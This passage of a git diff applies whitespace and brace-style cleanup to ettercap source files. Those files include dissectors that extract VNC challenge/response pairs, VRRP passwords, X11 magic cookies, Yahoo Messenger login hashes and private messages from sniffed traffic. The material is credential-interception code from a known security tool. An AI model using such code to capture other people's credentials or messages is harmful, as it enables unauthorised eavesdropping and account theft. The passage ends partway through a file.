+ * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -42,7 +42,6 @@ struct vnc_status { #define LOGIN_FAILED 7 #define LOGIN_TOOMANY 8 - /* protos */ FUNC_DECODER(dissector_vnc); @@ -50,14 +49,14 @@ void vnc_init(void); /************************************************/ -static char itoa16[16] = "0123456789abcdef"; +static char itoa16[16] = "0123456789abcdef"; static inline void hex_encode(unsigned char *str, int len, unsigned char *out) { int i; for (i = 0; i < len; ++i) { - out[0] = itoa16[str[i]>>4]; - out[1] = itoa16[str[i]&0xF]; + out[0] = itoa16[str[i] >> 4]; + out[1] = itoa16[str[i] & 0xF]; out += 2; } } @@ -84,9 +83,9 @@ FUNC_DECODER(dissector_vnc) struct vnc_status *conn_status; /* don't complain about unused var */ - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* Packets coming from the server */ if (FROM_SERVER("vnc", PACKET)) { @@ -100,14 +99,14 @@ FUNC_DECODER(dissector_vnc) if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* This is the first packet from the server (protocol version) */ - if (!strncmp((const char*)ptr, "RFB ", 4)) { + if (!strncmp((const char *)ptr, "RFB ", 4)) { DEBUG_MSG("\tdissector_vnc BANNER"); /* Catch the banner that is like "RFB xxx.yyy" */ - PACKET->DISSECTOR.banner = strdup((const char*)ptr); + PACKET->DISSECTOR.banner = strdup((const char *)ptr); /* remove the \n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\n')) != NULL) *ptr = '\0'; /* create the new session */ @@ -116,16 +115,16 @@ FUNC_DECODER(dissector_vnc) /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct vnc_status)); - conn_status = (struct vnc_status *) s->data; + conn_status = (struct vnc_status *)s->data; conn_status->status = WAIT_AUTH; - strncpy((char*)conn_status->banner, PACKET->DISSECTOR.banner, 16); + strncpy((char *)conn_status->banner, PACKET->DISSECTOR.banner, 16); /* save the session */ session_put(s); } } else { /* The session exists */ - conn_status = (struct vnc_status *) s->data; + conn_status = (struct vnc_status *)s->data; /* If we are waiting for auth scheme by the server */ if (conn_status->status == WAIT_AUTH) { @@ -145,30 +144,28 @@ FUNC_DECODER(dissector_vnc) * Free authentication will be notified on * next client's packet */ - if(!strstr((const char*)conn_status->banner, "008")) { /* TightVNC hack */ - conn_status->status = NO_AUTH; + if (!strstr((const char *)conn_status->banner, "008")) { /* TightVNC hack */ + conn_status->status = NO_AUTH; } } else if (!memcmp(ptr, "\x00\x00\x00\x00", 4)) { /* Connection Failed */ - if(!strstr((const char*)conn_status->banner, "008")) { /* TightVNC hack */ + if (!strstr((const char *)conn_status->banner, "008")) { /* TightVNC hack */ /*...so destroy the session*/ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); SAFE_FREE(ident); return NULL; } - } else if (!memcmp(ptr, "\x00\x00\x00\x02", 4)) { /* VNC Auth required */ /* Skip Authentication type code (if the challenge is in the same packet) */ - ptr+=4; + ptr += 4; /* ...and waits for the challenge */ conn_status->status = WAIT_CHALLENGE; - } - else { /* search for challenge packet */ + } else { /* search for challenge packet */ char buffer[17]; - if(PACKET->DATA.len >= 16) { + if (PACKET->DATA.len >= 16) { memcpy(buffer, ptr, 16); buf[16] = 0; - if(!strstr(buffer, "VNCAUTH_") && PACKET->DATA.len == 16) { + if (!strstr(buffer, "VNCAUTH_") && PACKET->DATA.len == 16) { /* Saves the server challenge (16byte) in the session data */ conn_status->status = WAIT_RESPONSE; memcpy(conn_status->challenge, ptr, 16); @@ -180,11 +177,11 @@ FUNC_DECODER(dissector_vnc) /* We are waiting for the server challenge */ if ((conn_status->status == WAIT_CHALLENGE) && (ptr < end)) { char buffer[17]; - if(PACKET->DATA.len >= 16) { + if (PACKET->DATA.len >= 16) { memcpy(buffer, ptr, 16); buf[16] = 0; /* Saves the server challenge (16byte) in the session data */ - if(!strstr(buffer, "VNCAUTH_") && PACKET->DATA.len == 16) { + if (!strstr(buffer, "VNCAUTH_") && PACKET->DATA.len == 16) { DEBUG_MSG("\tDissector_vnc CHALLENGE"); conn_status->status = WAIT_RESPONSE; memcpy(conn_status->challenge, ptr, 16); @@ -215,8 +212,8 @@ FUNC_DECODER(dissector_vnc) if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { /* We have to catch even ACKs to dump - LOGIN FAILURE information on a client's packet */ - conn_status = (struct vnc_status *) s->data; + * LOGIN FAILURE information on a client's packet */ + conn_status = (struct vnc_status *)s->data; /* If there is no auth! */ if (conn_status->status == NO_AUTH) { @@ -227,43 +224,42 @@ FUNC_DECODER(dissector_vnc) PACKET->DISSECTOR.pass = strdup("No Password!!!"); DISSECT_MSG("VNC : %s:%d -> No authentication required\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + ntohs(PACKET->L4.dst)); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); } else /* If we have catched server result */ + if (conn_status->status >= LOGIN_OK) { + u_char *str_ptr, index; - if (conn_status->status >= LOGIN_OK) { - u_char *str_ptr, index; - - DEBUG_MSG("\tDissector_vnc DUMP ENCRYPTED"); + DEBUG_MSG("\tDissector_vnc DUMP ENCRYPTED"); - PACKET->DISSECTOR.user = strdup("VNC"); - SAFE_CALLOC(PACKET->DISSECTOR.pass, 256, sizeof(char)); - - /* Dump Challenge and Response */ - snprintf(PACKET->DISSECTOR.pass, 10, "Challenge:"); - str_ptr = (u_char*)PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); - - for (index = 0; index < 16; index++) - snprintf((char*)str_ptr + (index * 2), 3, "%.2x", conn_status->challenge[index]); - - strcat((char*)str_ptr, " Response:"); - str_ptr =(u_char*) PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); - - for (index = 0; index < 16; index++) - snprintf((char*)str_ptr + (index * 2), 3, "%.2x", conn_status->response[index]); - - if (conn_status->status > LOGIN_OK) { - PACKET->DISSECTOR.failed = 1; - DISSECT_MSG("VNC : %s:%d -> %s (Login Failed)\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.pass); - } else { - DISSECT_MSG("VNC : %s:%d -> %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.pass); - } + PACKET->DISSECTOR.user = strdup("VNC"); + SAFE_CALLOC(PACKET->DISSECTOR.pass, 256, sizeof(char)); + + /* Dump Challenge and Response */ + snprintf(PACKET->DISSECTOR.pass, 10, "Challenge:"); + str_ptr = (u_char *)PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); + + for (index = 0; index < 16; index++) + snprintf((char *)str_ptr + (index * 2), 3, "%.2x", conn_status->challenge[index]); + + strcat((char *)str_ptr, " Response:"); + str_ptr = (u_char *)PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); + + for (index = 0; index < 16; index++) + snprintf((char *)str_ptr + (index * 2), 3, "%.2x", conn_status->response[index]); + + if (conn_status->status > LOGIN_OK) { + PACKET->DISSECTOR.failed = 1; + DISSECT_MSG("VNC : %s:%d -> %s (Login Failed)\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.pass); + } else { + DISSECT_MSG("VNC : %s:%d -> %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.pass); + } - dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_vnc)); } else { /* If we are waiting for client response (don't care ACKs) */ if (conn_status->status == WAIT_RESPONSE && PACKET->DATA.len >= 16) { unsigned char challenge[33]; @@ -290,4 +286,3 @@ FUNC_DECODER(dissector_vnc) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_vrrp.c b/src/dissectors/ec_vrrp.c index d91df0592..1813ed305 100644 --- a/src/dissectors/ec_vrrp.c +++ b/src/dissectors/ec_vrrp.c @@ -1,27 +1,27 @@ /* - ettercap -- dissector vrrp -- works over IP ! - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector vrrp -- works over IP ! + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * RFC: 2338 - * + * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ @@ -50,15 +50,15 @@ /* globals */ -struct vrrp_hdr { - u_char ver; /* Version */ - u_char id; /* Virtual Router ID */ - u_char prio; /* Router Priority */ - u_char naddr; /* # of addresses */ - u_char auth; /* Type of Authentication */ - u_char adv; /* ADVERTISEMENT Interval */ +struct vrrp_hdr { + u_char ver; /* Version */ + u_char id; /* Virtual Router ID */ + u_char prio; /* Router Priority */ + u_char naddr; /* # of addresses */ + u_char auth; /* Type of Authentication */ + u_char adv; /* ADVERTISEMENT Interval */ u_short csum; /* Checksum */ -}; +}; #define VRRP_AUTH_NONE 0 #define VRRP_AUTH_SIMPLE 1 @@ -82,7 +82,7 @@ void __init vrrp_init(void) dissect_add("vrrp", PROTO_LAYER, NL_TYPE_VRRP, dissector_vrrp); } -/* +/* * the passwords collected by vrrp will not be logged * in logfile since it is not over TCP or UDP. * anyway we can print them in the user message window @@ -97,16 +97,16 @@ FUNC_DECODER(dissector_vrrp) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip empty packets */ if (PACKET->DATA.len < sizeof(struct vrrp_hdr)) return NULL; DEBUG_MSG("VRRP --> dissector_vrrp"); - + vhdr = (struct vrrp_hdr *)ptr; /* not an authenticated message */ @@ -115,16 +115,14 @@ FUNC_DECODER(dissector_vrrp) /* point to the auth */ auth = ptr + sizeof(struct vrrp_hdr) + (vhdr->naddr * IP_ADDR_LEN); - + DISSECT_MSG("VRRP : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - auth); + ntohs(PACKET->L4.dst), + auth); return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_x11.c b/src/dissectors/ec_x11.c index fba1c35de..34a7b0cb1 100644 --- a/src/dissectors/ec_x11.c +++ b/src/dissectors/ec_x11.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector X11 -- TCP 6000, 6001, ..., 6063 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector X11 -- TCP 6000, 6001, ..., 6063 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -126,29 +126,28 @@ FUNC_DECODER(dissector_x11) char tmp[MAX_ASCII_ADDR_LEN]; struct x11_request *x11; int i; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - - /* + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + + /* * check if it is the first packet sent by the server i * after the session is created (cookie already sent) */ IF_FIRST_PACKET_FROM_SERVER("x11", s, ident, dissector_x11) { - + DEBUG_MSG("\tdissector_x11 BANNER"); /* - * get the banner + * get the banner * this parsing is very ugly, but is works (at least for me) - * it should be better checked in the header to find the + * it should be better checked in the header to find the * banner length etc etc... */ - PACKET->DISSECTOR.banner = strdup((const char*)PACKET->DATA.disp_data + 40); - + PACKET->DISSECTOR.banner = strdup((const char *)PACKET->DATA.disp_data + 40); } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) - + /* skip messages coming from the server */ if (FROM_SERVER("x11", PACKET)) return NULL; @@ -156,56 +155,54 @@ FUNC_DECODER(dissector_x11) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("X11 --> TCP dissector_x11"); - + x11 = (struct x11_request *)PACKET->DATA.disp_data; - /* + /* * can somebody test it under big-endian systems * and tell me what is the right parsing ? */ if (x11->endianness != 0x6c) return NULL; - + /* not supported other than MIT-MAGIC-COOKIE-1 */ if (x11->name_len != 18 || x11->data_len != 16) return NULL; - + /* check the magic string */ - if (strncmp((const char*)x11->name, "MIT-MAGIC-COOKIE-1", x11->name_len)) + if (strncmp((const char *)x11->name, "MIT-MAGIC-COOKIE-1", x11->name_len)) return NULL; - + DEBUG_MSG("\tDissector_x11 COOKIE"); - + /* fill the structure */ PACKET->DISSECTOR.user = strdup("MIT-MAGIC-COOKIE-1"); - + /* the cookie's length is 32, take care of the null char */ SAFE_CALLOC(PACKET->DISSECTOR.pass, 33, sizeof(char)); - - for (i = 0; i < 16; i++) - snprintf(PACKET->DISSECTOR.pass + (i * 2), 3, "%.2x", x11->data[i] ); - - /* + + for (i = 0; i < 16; i++) + snprintf(PACKET->DISSECTOR.pass + (i * 2), 3, "%.2x", x11->data[i]); + + /* * create the session to remember to check the * banner on the next packet sent by server * the check is made by IF_FIRST_PACKET_FROM_SERVER */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_x11)); session_put(s); - + /* print the message */ DISSECT_MSG("X11 : %s:%d -> XAUTH: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_ymsg.c b/src/dissectors/ec_ymsg.c index c32c512b0..7fa799b01 100644 --- a/src/dissectors/ec_ymsg.c +++ b/src/dissectors/ec_ymsg.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector Yahoo Messenger -- TCP 5050 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector Yahoo Messenger -- TCP 5050 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,7 +26,6 @@ /* globals */ - /* protos */ FUNC_DECODER(dissector_ymsg); @@ -51,12 +50,12 @@ FUNC_DECODER(dissector_ymsg) char tmp[MAX_ASCII_ADDR_LEN]; u_char *q; u_int32 field_len; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* Empty or not a yahoo messenger packet */ if (PACKET->DATA.len == 0 || memcmp(ptr, "YMSG", 4)) return NULL; @@ -64,56 +63,56 @@ FUNC_DECODER(dissector_ymsg) DEBUG_MSG("ymsg --> TCP dissector_ymsg"); /* standard ymesg separator */ - if ( !(ptr = memmem(ptr, PACKET->DATA.len, "\xC0\x80", 2)) ) + if (!(ptr = memmem(ptr, PACKET->DATA.len, "\xC0\x80", 2))) return NULL; - + /* Login is ASCII 0 */ - if (*(ptr-1) == '0' && FROM_CLIENT("ymsg", PACKET)) { + if (*(ptr - 1) == '0' && FROM_CLIENT("ymsg", PACKET)) { /* Skip the separator and reach the end*/ - ptr += 2; - for (q=ptr; *q != 0xc0 && q < end; q++); - if (q >= end) + ptr += 2; + for (q = ptr; *q != 0xc0 && q < end; q++) ; + if (q >= end) return NULL; - + /* Calculate the user len (no int overflow) */ field_len = q - ptr; SAFE_CALLOC(PACKET->DISSECTOR.user, field_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.user, ptr, field_len); - + /* Skip the separator */ - ptr = q + 2; - if (*ptr != '6') { + ptr = q + 2; + if (*ptr != '6') { SAFE_FREE(PACKET->DISSECTOR.user); - return NULL; + return NULL; } - + /* Login is ASCII 6 */ ptr += 3; /* skip the separator and the "6" */ - for (q=ptr; *q != 0xc0 && q < end; q++); - if (q >= end) { + for (q = ptr; *q != 0xc0 && q < end; q++) ; + if (q >= end) { SAFE_FREE(PACKET->DISSECTOR.user); - return NULL; - } + return NULL; + } /* Calculate the pass len (no int overflow) */ field_len = q - ptr; SAFE_CALLOC(PACKET->DISSECTOR.pass, field_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.pass, ptr, field_len); - + PACKET->DISSECTOR.info = strdup("The pass is in MD5 format ( _2s43d5f is the salt )"); - + DISSECT_MSG("YMSG : %s:%d -> USER: %s HASH: %s - %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - } else if (*(ptr-1) == '1') { /* Message is ASCII 1 */ - u_char *from=NULL, *to=NULL, *message=NULL, *temp_disp_data; + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + } else if (*(ptr - 1) == '1') { /* Message is ASCII 1 */ + u_char *from = NULL, *to = NULL, *message = NULL, *temp_disp_data; /* Skip the separator and reach the end*/ - ptr += 2; - for (q=ptr; *q != 0xc0 && q < end; q++); - if (q >= end) + ptr += 2; + for (q = ptr; *q != 0xc0 && q < end; q++) ; + if (q >= end) return NULL; field_len = q - ptr; @@ -121,20 +120,20 @@ FUNC_DECODER(dissector_ymsg) memcpy(from, ptr, field_len); /* Skip the two separators and the ASCII 5 */ - ptr = q + 5; - for (q=ptr; *q != 0xc0 && q < end; q++); + ptr = q + 5; + for (q = ptr; *q != 0xc0 && q < end; q++) ; if (q >= end) { SAFE_FREE(from); return NULL; } - + field_len = q - ptr; SAFE_CALLOC(to, field_len + 1, sizeof(char)); memcpy(to, ptr, field_len); - + /* Skip the two separators and the ASCII 14 */ - ptr = q + 6; - for (q=ptr; *q != 0xc0 && q < end; q++); + ptr = q + 6; + for (q = ptr; *q != 0xc0 && q < end; q++) ; if (q >= end) { SAFE_FREE(from); SAFE_FREE(to); @@ -144,15 +143,15 @@ FUNC_DECODER(dissector_ymsg) field_len = q - ptr; SAFE_CALLOC(message, field_len + 1, sizeof(char)); memcpy(message, ptr, field_len); - + /* Update disp_data in the packet object (128 byte will be enough for ****YAHOOO.... string */ - temp_disp_data = (u_char *)realloc(PACKET->DATA.disp_data, strlen((const char*)from) + strlen((const char*)to) + strlen((const char*)message) + 128); + temp_disp_data = (u_char *)realloc(PACKET->DATA.disp_data, strlen((const char *)from) + strlen((const char *)to) + strlen((const char *)message) + 128); if (temp_disp_data != NULL) { PACKET->DATA.disp_data = temp_disp_data; - snprintf((char*)PACKET->DATA.disp_data, strlen((const char*)from) + strlen((const char*)to) + strlen((const char*)message) + 128, "*** Yahoo Message ***\n From: %s\n To: %s\n\n Message: %s\n", from, to, message); - PACKET->DATA.disp_len = strlen((const char*)PACKET->DATA.disp_data); + snprintf((char *)PACKET->DATA.disp_data, strlen((const char *)from) + strlen((const char *)to) + strlen((const char *)message) + 128, "*** Yahoo Message ***\n From: %s\n To: %s\n\n Message: %s\n", from, to, message); + PACKET->DATA.disp_len = strlen((const char *)PACKET->DATA.disp_data); } - + SAFE_FREE(from); SAFE_FREE(to); SAFE_FREE(message); @@ -161,8 +160,6 @@ FUNC_DECODER(dissector_ymsg) return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_asn1.c b/src/ec_asn1.c index 5ed455316..9c49dcdc0 100644 --- a/src/ec_asn1.c +++ b/src/ec_asn1.c @@ -154,8 +154,8 @@ void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len) for (i = 0; i < oid->len; i++) { ret = snprintf(pos, buf + len - pos, - "%s%lu", - i == 0 ? "" : ".", oid->oid[i]); + "%s%lu", + i == 0 ? "" : ".", oid->oid[i]); if (ret < 0 || ret >= buf + len - pos) break; pos += ret; diff --git a/src/ec_capture.c b/src/ec_capture.c index f7168d7a4..36a56f85b 100644 --- a/src/ec_capture.c +++ b/src/ec_capture.c @@ -1,23 +1,23 @@ /* - ettercap -- iface and capture functions - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- iface and capture functions + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -32,15 +32,14 @@ #include #endif - /* globals */ -static SLIST_HEAD (, align_entry) aligners_table; +static SLIST_HEAD(, align_entry) aligners_table; struct align_entry { int dlt; FUNC_ALIGNER_PTR(aligner); - SLIST_ENTRY (align_entry) next; + SLIST_ENTRY(align_entry) next; }; /*******************************************/ @@ -60,7 +59,7 @@ void capture_stop(struct iface_env *iface) snprintf(thread_name, sizeof(thread_name), "capture[%s]", iface->name); pid = ec_thread_getpid(thread_name); - if(!pthread_equal(pid, EC_PTHREAD_NULL)) + if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); } @@ -77,25 +76,25 @@ EC_THREAD_FUNC(capture) ec_thread_init(); iface = EC_THREAD_PARAM; - + DEBUG_MSG("neverending loop (capture)"); /* wipe the stats */ stats_wipe(); - - /* - * infinite loop + + /* + * infinite loop * dispatch packets to ec_decode */ ret = pcap_loop(iface->pcap, -1, ec_decode, EC_THREAD_PARAM); ON_ERROR(ret, -1, "Error while capturing: %s", pcap_geterr(iface->pcap)); if (GBL_OPTIONS->read) { - if (ret==0) { - USER_MSG("\n\nCapture file read completely, please exit at your convenience.\n\n"); - } + if (ret == 0) { + USER_MSG("\n\nCapture file read completely, please exit at your convenience.\n\n"); + } } - + return NULL; } @@ -106,32 +105,32 @@ void capture_getifs(void) { pcap_if_t *dev, *pdev, *ndev; char pcap_errbuf[PCAP_ERRBUF_SIZE]; - + DEBUG_MSG("capture_getifs"); - + /* retrieve the list */ if (pcap_findalldevs((pcap_if_t **)&GBL_PCAP->ifs, pcap_errbuf) == -1) ERROR_MSG("%s", pcap_errbuf); /* analize the list and remove unwanted entries */ for (pdev = dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = ndev) { - + /* the next entry in the list */ ndev = dev->next; - + /* set the description for the local loopback */ if (dev->flags & PCAP_IF_LOOPBACK) { SAFE_FREE(dev->description); dev->description = strdup("Local Loopback"); } - + /* fill the empty descriptions */ if (dev->description == NULL) dev->description = dev->name; /* remove the pseudo device 'any' 'nflog' and 'nfqueue' */ /* remove the pseudo device 'dbus-system' and 'dbus-session' shown on mac when ran without sudo*/ - if (!strcmp(dev->name, "any") || !strcmp(dev->name, "nflog") || !strcmp(dev->name, "nfqueue") || !strcmp(dev->name, "dbus-system") || !strcmp(dev->name, "dbus-session")) { + if (!strcmp(dev->name, "any") || !strcmp(dev->name, "nflog") || !strcmp(dev->name, "nfqueue") || !strcmp(dev->name, "dbus-system") || !strcmp(dev->name, "dbus-session")) { /* check if it is the first in the list */ if (dev == GBL_PCAP->ifs) GBL_PCAP->ifs = ndev; @@ -144,19 +143,19 @@ void capture_getifs(void) continue; } - + /* remember the previous device for the next loop */ pdev = dev; - + DEBUG_MSG("capture_getifs: [%s] %s", dev->name, dev->description); } /* do we have to print the list ? */ if (GBL_OPTIONS->lifaces) { - + /* we are before ui_init(), can use printf */ fprintf(stdout, "List of available Network Interfaces:\n\n"); - + for (dev = (pcap_if_t *)GBL_PCAP->ifs; dev != NULL; dev = dev->next) fprintf(stdout, " %s \t%s\n", dev->name, dev->description); @@ -164,7 +163,6 @@ void capture_getifs(void) clean_exit(0); } - } /* @@ -173,26 +171,26 @@ void capture_getifs(void) int is_pcap_file(char *file, char *pcap_errbuf) { pcap_t *pcap; - + pcap = pcap_open_offline(file, pcap_errbuf); if (pcap == NULL) return -E_INVALID; pcap_close(pcap); - + return E_SUCCESS; } /* - * set the alignment for the buffer + * set the alignment for the buffer */ u_int8 get_alignment(int dlt) { struct align_entry *e; - SLIST_FOREACH (e, &aligners_table, next) - if (e->dlt == dlt) - return e->aligner(); + SLIST_FOREACH(e, &aligners_table, next) + if (e->dlt == dlt) + return e->aligner(); /* not found */ BUG("Don't know how to align this media header"); @@ -200,21 +198,20 @@ u_int8 get_alignment(int dlt) } /* - * add a alignment function to the table + * add a alignment function to the table */ void add_aligner(int dlt, FUNC_ALIGNER_PTR(aligner)) { struct align_entry *e; SAFE_CALLOC(e, 1, sizeof(struct align_entry)); - + e->dlt = dlt; e->aligner = aligner; - SLIST_INSERT_HEAD(&aligners_table, e, next); + SLIST_INSERT_HEAD(&aligners_table, e, next); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_checksum.c b/src/ec_checksum.c index ed1b49e33..4755b59d8 100644 --- a/src/ec_checksum.c +++ b/src/ec_checksum.c @@ -1,23 +1,23 @@ /* - ettercap -- checksumming functions - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- checksumming functions + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; 